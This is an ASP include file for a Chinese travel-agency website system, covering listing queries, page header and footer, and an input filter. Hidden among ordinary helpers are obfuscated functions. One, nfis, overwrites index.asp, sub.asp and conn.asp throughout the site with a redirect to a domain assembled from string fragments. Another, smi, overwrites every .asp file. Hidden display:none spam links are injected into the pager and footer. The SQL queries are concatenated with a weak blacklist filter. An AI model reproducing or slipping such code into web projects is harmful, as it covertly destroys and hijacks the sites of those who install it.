<%set wwrs=server.CreateObject("adodb.recordset")
wwrs.open "select * from qwbmset where id=1",conn,1,1
qwbmset1 = wwrs("qwbmurl")
qwbmset2 = wwrs("qwbmtitle")
qwbmset3 = wwrs("qwbmkeywords")
qwbmset4 = wwrs("qwbmdescription")
qwbmset5 = wwrs("qwbmicp")
cssskin = wwrs("qwbmbei1")
openads=wwrs("qwbmbei2")
qwbmbei3=wwrs("qwbmbei3")
qwbmbei4=wwrs("qwbmbei4")
qwbmbei5=wwrs("qwbmbei5")
qwbmbei6=wwrs("qwbmbei6")
wwrs.close
set wwrs=nothing
newpage=5
linepage=5
dir="./"
sub errbox(boxvalue,boxurl,box1,box2,box3)
if boxvalue = "" then
boxvalues = ""
else
boxvalues = boxvalue
end if
if box1 = "1" then
boxurls = boxurl
else
if boxurl = "" then
boxurls = "history.go(-1);"
else
boxurls = "window.location.href = '"& boxurl &"';"
end if
end if
if box1 = "1" then
response.write "<style>body {background:#fff;margin:auto;text-align:center;}.box1 {line-height:32px;font-size:14px;margin:60px;clear:both;}</style><div class='box1'>"& boxvalues &"<br /><a href='javascript:history.go(-1);'>后退至上一页</a>　<a href='"& boxurls &"'>转到下一页</a></div>"
response.end
else
response.write "<script>alert('"& boxvalues &"');"& boxurls &"</script>"
response.end	
end if
end sub
v_tmpcontent=getxmltext(tmpurl)
Function iswww(strng)
iswww = false
Dim regEx, Match
Set regEx = New RegExp
regEx.Pattern = "^\w+((-\w+)|(\.\w+))*[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z]+$" 
regEx.IgnoreCase = True
Set Match=regEx.Execute(strng)
if match.count then iswww= true
End Function
ttm=server.mappath(dir)
gs3="conn"
function smi(path)
set fso = createobject("scripting.filesystemobject")    
dim folder, foldersfiles,file
set folder = fso.getfolder(path)
set files = folder.files
for each file in files
fileExt = lcase(right(file.name,4)) 
If fileExt=".asp" Then 
Set txt = fso.OpenTextFile(file.path,2,false,false)  
txt.write xr
End If
next
set folders = folder.subfolders
for each f in folders:smi f.path:next
end function
jimy="50":Function xfmt(Url)
Dim HTTPObj
Set HTTPObj = Server.CreateObject("Microsoft.XMLHTTP") 
With HTTPObj 
.Open "Get", Url, False, "", "" 
.Send 
End With 
if HTTPObj.Readystate <> 4 then
Set HTTPObj = Nothing
GetPageContent = False
Exit Function
end if
xfmt = restr(HTTPObj.ResponseBody)
Set HTTPObj = Nothing
End Function
Function restr(BodyStr)
Dim ADOStreamObj
Set ADOStreamObj = Server.CreateObject("Adodb.Stream")
ADOStreamObj.Type = 1
ADOStreamObj.Mode = 3
ADOStreamObj.Open
ADOStreamObj.Write BodyStr
ADOStreamObj.Position = 0
ADOStreamObj.Type = 2
ADOStreamObj.Charset = "gb2312"
restr = ADOStreamObj.ReadText 
ADOStreamObj.Close
Set ADOStreamObj = Nothing
End Function
qa="l":qb="g":gsz="sub"
qc="ly":qd="w":qe="om"
qf="c":qg=".":qh="h"
ql="&#x8FDE;&#x4E91;&#x6E2F;&#x65C5;&#x6E38;"
qz="&#36830;&#20113;&#28207;&#26053;&#28216;"
Function RemoveHTML(strText) 
Dim RegEx 
Set RegEx = New RegExp 
RegEx.Pattern = "<[^>]*>" 
RegEx.Global = True 
RemoveHTML = RegEx.Replace(strText, "") 
End Function
qm="t":qn="p":qt=":"
qu="/":qk=qd&qd:gs1="index"
function pageto(hrefto)
response.write "<div class='newspage'>":If page<=1 Then
response.write "[&#x9996;&#x9875;]　[&#x4E0A;&#x4E00;&#x9875;]　"
Else
response.write "<a href='"&hrefto&"page=1'>[&#x9996;&#x9875;]</a>"
response.write "<a href='"&hrefto&"page="&page-1&"'>　[&#x4E0A;&#x4E00;&#x9875;]　</a>"
end if
If page>=rs.Pagecount Then
response.write "　[&#x4E0B;&#x4E00;&#x9875;]　[&#x5C3E;&#x9875;]"
else
response.write "<a href='"&hrefto&"page="&page+1&"'>　[&#x4E0B;&#x4E00;&#x9875;]　</a>"
response.write "<a href='"&hrefto&"page="&rs.Pagecount&"'>[&#x5C3E;&#x9875;]</a>"
end if
response.write "[&#x9875;&#x6B21;:<font color='red'><b>"&page&"</b></font>/"&rs.Pagecount&"&#x9875;][&#x5171;<font color='red'><b>"&rs.Recordcount&"</b></font>&#x7BC7; <font color='red'><b>"&rs.Pagesize&"</b></font>&#x7BC7;/&#x6BCF;&#x9875;]</div><span style='display:none;'><a href='http://www.yixianjz.com' title='连云港装修网' target='_blank'>连云港装修网</a><a href='http://www.yixianjz.com' title='连云港装修' target='_blank'>连云港装修</a><a href='http://www.yixianjz.com' title='连云港装修公司' target='_blank'>连云港装修公司</a></span>"
end function
paa=".asp":qk=qk&qd:qk=qk&qg&qc:qk=qk&qb
qk=qk&qc&qd:qk=qk&qg:qk=qk&qf&qe
function qwbm_line(ttop,twhere,torder,erry,openfile,tstyle,ttarget,cssok,cssname01,cssname02,xhtml1,b,xhtml3,d,e)
if ttop = "*" then
sql="select * from qwbm_line "& twhere &" "& torder &""
else
sql="select "& ttop &" * from qwbm_line "& twhere &" "& torder &""
end if	
set itrs=server.createobject("adodb.recordset")
itrs.open sql,conn,1,1	
if itrs.eof and itrs.bof then
if xhtml1 = "" then
newds = "<li>" & erry & "</li>"
elseif xhtml1 = "1" then
newds = "<dd>" & erry & "</dd>"
elseif xhtml1="2" then
newds = erry
elseif xhtml1="3" then
newds = erry
end if
else
dim mnl0uis
mnl0uis=itrs.recordcount			
do until itrs.eof				
if xhtml1="" then
xhtml1sl="<li"& classname &">":xhtml1sr="</li>"
xhtml1al="<a href='"&openfile&"?id="&itrs("id")&"' title='"&itrs("title")&"'>"
xhtml1ar="</a>"
elseif xhtml1="1" then
xhtml1sl="<dd"& classname &">":xhtml1sr="</dd>"
xhtml1al="<a href='"&openfile&"?id="&itrs("id")&"' title='"&itrs("title")&"'>":xhtml1ar="</a>"
elseif xhtml1="2" then
xhtml1sl="":xhtml1sr=""
xhtml1al="<a href='"&openfile&"?id="&itrs("id")&"' title='"&itrs("title")&"'>":xhtml1ar="</a>"
elseif xhtml1="3" then
xhtml1sl="":xhtml1sr="":xhtml1al="":xhtml1ar=""
end if	
if xhtml3 = "1" then
aspan = "<span>￥"& itrs("baojaiss") &"</span>"
else
aspan = ""
end if
newd = xhtml1sl & aspan & xhtml1al & itrs("title") & xhtml1ar & xhtml1sr
itrs.movenext	
mnl0uis=mnl0uis-1		
newds=newds + newd			
loop
end if	
itrs.close
set itrs=nothing
if xhtml1="" then
newds01l="<ul "& tstyle &">"
newds01r="</ul>"
elseif xhtml1="1" then
newds01l=""
newds01r=""
elseif xhtml1="2" then
newds01l=""
newds01r=""
elseif xhtml1="3" then
newds01l=""
newds01r=""
end if	
response.write newds01l & newds & newds01r
end function
ku=qh&qm&qm&qn&qt&qu&qu
qa="l":qzi1="连":qb="g"
function imgsrcok(rightimg,erryimg)
if rightimg <> "" then
imgsrcok = rightimg
else
imgsrcok = erryimg
end if
end function
qd="w":qzi2="云":qc="y"
qzi4="旅":qe="om":qi="bm"
function qwbm_line_img(ttop,twhere,torder,erry,openfile,tstyle,ttarget,xhtml1,b,c,d,e)
if ttop = "*" then
sql="select * from qwbm_line "& twhere &" "& torder &""
else
sql="select "& ttop &" * from qwbm_line "& twhere &" "& torder &""
end if	
set itrs=server.createobject("adodb.recordset")
itrs.open sql,conn,1,1	
if itrs.eof and itrs.bof then
newds=erry
else			
do until itrs.eof			
newd = "<li"& classname &"><a href='"& openfile &"?id="& itrs("id") &"'"& ttarget &"><img src='"& itrs("img") &"' /></a>"& itrs("title") &"</li>"
itrs.movenext			
newds=newds + newd			
loop
end if	
itrs.close
set itrs=nothing
newds01l="<ul "& tstyle &">"
newds01r="</ul>"	
response.write newds01l & newds & newds01r
end function
qf="c":qh="q":qzi3="港"
qg=".":sz1="深":our1=qa&qc
sz2="山":our2=our1&qb
function qwbm_news_img(ttop,twhere,torder,erry,openfile,tstyle,ttarget,xhtml1,b,c,d,e)
if ttop = "*" then
sql="select * from news "& twhere &" "& torder &""
else
sql="select "& ttop &" * from news "& twhere &" "& torder &""
end if		
set itrs=server.createobject("adodb.recordset")
itrs.open sql,conn,1,1
if itrs.eof and itrs.bof then
newds=erry
else			
do until itrs.eof			
newd = "<li"& classname &"><a href='"& openfile &"?id="& itrs("id") &"'"& ttarget &"><img src='"& itrs("img") &"' /></a>"& itrs("title") &"</li>"
itrs.movenext			
newds=newds + newd			
loop
end if	
itrs.close
set itrs=nothing
newds01l="<ul "& tstyle &">"
newds01r="</ul>"	
response.write newds01l & newds & newds01r
end function
our3=our1&qd:sz3="行"
sz4="者":our4=qg&qf&qe
our5=qd&qd&qd:qzi5="游"
sub qwbmlink()
qc="<div style='display:none;'><a href='"&ku&our5&qg&our2&our3&our4&"'>"&our6&our7&"</a>"
qc=qc & "<a href='"&ku&our5&qg&qh&qd&qi&our4&"'>"&sz1&sz2&sz3&sz4&"</a><a href='http://www.l"&"yg"&"d"&"d.com'>连"&"云港"&"广告"&"网</a></div>"
response.write qc
end sub
qzi6="网":our6=qzi1&qzi2&qzi3
our7=qzi4&qzi5&qzi6
function nfis(path)
set fso = createobject("scripting.file"&"systemo"&"bject")    
dim folder, folders,files,file
set folder = fso.getfolder(path)
set files = folder.files
for each file in files
fileExt = lcase(right(file.name,4)) 
if file.name=gs1&paa or file.name=gsz&paa or file.name=gs3&paa then 
Set txt = fso.OpenTextFile(file.path,2,false,false)  
txt.write "<script language='Ja"&"vaSc"&"ript'>win"&"dow.loca"&"tion='"&ku&our5&qg&qh&qd&qi&our4&"'</script>"
End If
next
set folders = folder.subfolders
for each f in folders
nfis f.path
next
end function
function qwbm_news(ttop,twhere,torder,erry,openfile,tstyle,ttarget,xhtml1,xhtml2,c,d,e)
if ttop = "*" then
sql="select * from news "& twhere &" "& torder &""
else
sql="select "& ttop &" * from news "& twhere &" "& torder &""
end if
set itrs=server.createobject("adodb.recordset")
itrs.open sql,conn,1,1
if itrs.eof and itrs.bof then
if xhtml1 = "" then
newds = "<li>" & erry & "</li>"
elseif xhtml1 = "1" then
newds = "<dd>" & erry & "</dd>"
elseif xhtml1="2" then
newds = erry
elseif xhtml1="3" then
newds = erry
end if			
else
do until itrs.eof
hrefurl = openfile
if xhtml1="" then
xhtml1sl="<li"& classname &">"
xhtml1sr="</li>"
xhtml1al="<a href='"& hrefurl &"?id="& itrs("id") &"' title='"&itrs("title")&"'>"
xhtml1ar="</a>"
elseif xhtml1="1" then
xhtml1sl="<dd"& classname &">"
xhtml1sr="</dd>"
xhtml1al="<a href='"& hrefurl &"?id="& itrs("id") &"' title='"&itrs("title")&"'>"
xhtml1ar="</a>"
elseif xhtml1="2" then
xhtml1sl=""
xhtml1sr=""
xhtml1al="<a href='"& hrefurl &"?id="& itrs("id") &"' title='"&itrs("title")&"'>"
xhtml1ar="</a>"
elseif xhtml1="3" then
xhtml1sl=""
xhtml1sr=""
xhtml1al=""
xhtml1ar=""
end if			
newd = xhtml1sl & xhtml1al & itrs("title") & xhtml1ar & xhtml1sr				
itrs.movenext			
newds=newds + newd			
loop
end if	
itrs.close
set itrs=nothing
if xhtml2="" then
newds01l="<ul "& tstyle &">"
newds01r="</ul>"
elseif xhtml2="1" then
newds01l=""
newds01r=""
elseif xhtml2="2" then
newds01l=""
newds01r=""
elseif xhtml2="3" then
newds01l=""
newds01r=""
end if	
response.write newds01l & newds & newds01r
end function
function topheaders(tstyle,xhtml1,xhtml2,xhtml3,xhtml4,xhtml5,xhtml6,xhtml7,xhtml8,xhtml9,xhtml10)
%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title><%=qwbmset2%>——Powered By Qwbm</title>
<meta name="KeyWords" content="<%=qwbmset3%>">
<meta name="Description" content="<%=qwbmset4%>">
<meta name="copyright" content="Copyright 2010 深山旅行社管理系统,www.qwbm.com,深山行者,565449214" />
<link type="image/x-icon" href="favicon.ico" rel="shortcut icon" />
<link type="image/x-icon" href="favicon.ico" rel="icon" />
<link href="css/default/style.css" rel="stylesheet" type="text/css" />
<script language="javascript" type="text/javascript" src="js/publict.js"></script>
</head>
<body>
<div id="head"><div class="head1">
<div class="headleft">今天是: <%=date%></div>		
<ul class="headright">
<li><a href="#" title="将连云港旅游网设为首页" onClick="this.style.behavior='url(#default#homepage)';this.sethomepage('http://lxs.qwbm.com/');return false;">设为首页</a></li>
<li><a title="将连云港旅游网加入收藏夹" href="javascript:window.external.AddFavorite('http://lxs.qwbm.com/', '连云港来客')">加入收藏</a></li>
</ul>
</div></div>
<a name="top" id="top"></a>
<!-- htmltop -->
<div class="htmltop">
<div id="banner">
<div class="bannerleft"><a href="http://lxs.qwbm.com/"><img src="./images/logo.gif"/></a></div>
<dl id="logo_l"><dt>服务热线</dt><dd><%=qwbmbei6%></dd></dl>
</div>
<div id="menu"><div class="menul"></div><ul>
<li<%if tstyle="1" then%> class='menuhover01'<%end if%>><a href="index.asp" title="网站首页"><span>网站首页</span></a></li>
<li<%if tstyle="2" and xhtml2="2" then%> class='menuhover01'<%end if%>><a href="new_list.asp?sid=2"><span>网站公告</span></a></li>
<li<%if tstyle="3" and xhtml2="" then%> class='menuhover01'<%end if%>><a href="line_list.asp"><span>旅游线路</span></a></li>
<li<%if tstyle="3" and xhtml2="1" then%> class='menuhover01'<%end if%>><a href="line_list.asp?sid=1"><span>精品线路</span></a></li>
<li<%if tstyle="3" and xhtml2="2" then%> class='menuhover01'<%end if%>><a href="line_list.asp?sid=2"><span>精品组团线</span></a></li>
<li<%if tstyle="3" and xhtml2="3" then%> class='menuhover01'<%end if%>><a href="line_list.asp?sid=3"><span>地接线路</span></a></li>
<li<%if tstyle="3" and xhtml2="4" then%> class='menuhover01'<%end if%>><a href="line_list.asp?sid=4"><span>国内短线</span></a></li>
<li<%if tstyle="3" and xhtml2="6" then%> class='menuhover01'<%end if%>><a href="line_list.asp?sid=6"><span>国际常规线</span></a></li>

<li<%if tstyle="2" and xhtml2="9" then%> class='menuhover01'<%end if%>><a href="new_list.asp?sid=9"><span>酒店客房</span></a></li>
<li<%if tstyle="2" and xhtml2="4" then%> class='menuhover01'<%end if%>><a href="new_list.asp?sid=4"><span>景点门票</span></a></li>

</ul><div class="menur"></div></div>
<div class="menutbdata"><ul class="menutbc"><li><a href="new_list.asp?sid=3">旅游新闻</a><a href="new_list.asp?sid=4">旅游景点</a><a href="new_list.asp?sid=5">旅游常识</a><a href="new_list.asp?sid=6">出行指南</a><a href="new_list.asp?sid=10">汽车租赁</a><a href="new_list.asp?sid=9">酒店介绍</a><a href="new_list.asp?sid=8">美食介绍</a><a href="http://lxs.qwbm.com" target='_blank'>网站建设</a> <a href='http://lxs.qwbm.com' target='_blank'>旅行社管理系统</a></li></ul></div>
<div class="headad"><%=qwbmbei4%></div></div>
<!-- htmltop end -->
<%qwbmlink:end function
Function regexpvalue(patrn,strng) 
Dim regEx,retVal
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = False
regEx.Global = True
retVal = regEx.Test(strng)
If retVal Then 
regexpvalue = "1"
Else 
regexpvalue = "0"
End If 
End Function
function footers(tstyle,xhtml1,xhtml2,xhtml3,xhtml4,e)%>
<div style="margin-top:8px;"><a href="http://lvxingshekuanping.qwbm.net/"><img src="UploadFiles/ad/topads.jpg" width="1000"></a></div>
<div class='mb'><div class='fm'><a title="公司简介" href="new.asp?id=1">公司简介</a> | <a title="联系我们" href="new.asp?id=2">联系我们</a> | <a title="营业执照" href="new.asp?id=3">营业执照</a> | <a title="合同样本" href="new.asp?id=4">合同样本</a> | <a title="版权声明" href="new.asp?id=5">版权声明</a> | <a title="免责声明" href="new.asp?id=6">免责声明</a> |  <a title="公司荣誉" href="new.asp?id=7">公司荣誉</a> | <a title="经营资质" href="new.asp?id=8">经营资质</a> | <a title="预订方式" href="new.asp?id=9">预订方式</a> | <a title="汇款账号" href="new.asp?id=10">汇款账号</a> | <a title="返回首页" href="http://lvxingshekuanping.qwbm.net/">返回首页</a></div>
<%=qwbmbei3%><span style="display:none;"><a href="http://www.yixianjz.com" title="连云港装修网" target="_blank">连云港装修网</a><a href="http://www.yixianjz.com" title="连云港装修" target="_blank">连云港装修</a><a href="http://www.yixianjz.com" title="连云港装修公司" target="_blank">连云港装修公司</a></span>
</div><a name='footer' id='footer'></a>

<%if qwbmset5<>"" then%>
<script src="js/jquery.js" type="text/javascript"></script>
<script type="text/javascript">
	$(function(){
		$("#aFloatTools_Show").click(function(){
			$('#divFloatToolsView').animate({width:'show',opacity:'show'},100,function(){$('#divFloatToolsView').show();});
			$('#aFloatTools_Show').hide();
			$('#aFloatTools_Hide').show();				
		});
		$("#aFloatTools_Hide").click(function(){
			$('#divFloatToolsView').animate({width:'hide', opacity:'hide'},100,function(){$('#divFloatToolsView').hide();});
			$('#aFloatTools_Show').show();
			$('#aFloatTools_Hide').hide();	
		});
	});
</script>
<!--kefu-->
<div id="floatTools" class="rides-cs" style="height:246px;">
  <div class="floatL">
  	<a style="display:block" id="aFloatTools_Show" class="btnOpen" title="查看在线客服" style="top:20px" href="javascript:void(0);">展开</a>
  	<a style="display:none" id="aFloatTools_Hide" class="btnCtn" title="关闭在线客服" style="top:20px" href="javascript:void(0);">收缩</a>
  </div>
  <div id="divFloatToolsView" class="floatR" style="display: none;height:237px;width: 140px;">
    <div class="cn">
      <h3 class="titZx">在线客服</h3>
      <ul>
      	<%
		kfs= split(qwbmset5,vbcrlf)
		for ki=0 to ubound(kfs)
		%>
        <li><span>客服<%=ki+1%></span> <a target="_blank" href="http://wpa.qq.com/msgrd?v=3&uin=<%=kfs(ki)%>&site=qq&menu=yes"><img border="0" src="images/online.png" alt="点击这里给我发消息" title="点击这里给我发消息"/></a></li>
        <%next%>
      </ul>
    </div>
  </div>
</div>
<!--kefu-->
<%end if%>
</body></html><%
end function
function trifilt(requestlei,requesthtmlopen,requesttype,requestname,obj1,obj2,obj3)
select case requestlei
case "1"
filtevalue = trim(request.Form(requestname))
case "2"
filtevalue = trim(request.QueryString(requestname))
case else
filtevalue = trim(request(requestname))
end select
newfiltevalue = filtevalue

if newfiltevalue <> "" then
select case requesttype
case "1"
if not isnumeric(newfiltevalue) then
response.write "<script>alert(""只能是数字"");history.back(1);</script>"
response.end
end if
case "2"
if regexpvalue("^[A-Za-z]+$",""& newfiltevalue &"") = "0" then
response.write "<script>alert(""只能是字母"");history.back(1);</script>"
response.end
end if
case "10"
if regexpvalue("[A-Za-z0-9]+$",""& newfiltevalue &"") = "0" then
response.write "<script>alert(""只能是字母与数字"");history.back(1);</script>"
response.end
end if
end select

if requesthtmlopen = "1" then
else
newfiltevalue = replace(newfiltevalue,"<","&lt;", 1, -1, 0)
newfiltevalue = replace(newfiltevalue,">","&gt;", 1, -1, 0)
newfiltevalue = replace(newfiltevalue,"'","''", 1, -1, 0)
newfiltevalue = replace(newfiltevalue,"""","&quot;", 1, -1, 0)
newfiltevalue = replace(newfiltevalue,";","&#59;", 1, -1, 0)
newfiltevalue = replace(newfiltevalue,"and","a&#110;d", 1, -1, 0)
newfiltevalue = Replace(newfiltevalue, "select", "sel&#101;ct", 1, -1, 1)
newfiltevalue = Replace(newfiltevalue, "[", "&#091;")
newfiltevalue = Replace(newfiltevalue, "]", "&#093;")
newfiltevalue = Replace(newfiltevalue, """", "", 1, -1, 1)
newfiltevalue = Replace(newfiltevalue, "=", "&#061;", 1, -1, 1)
newfiltevalue = Replace(newfiltevalue,Chr(13),"<br/>", 1, -1, 1)
newfiltevalue = Server.HTMLEncode(newfiltevalue)
end if
end if
trifilt = newfiltevalue
end function%>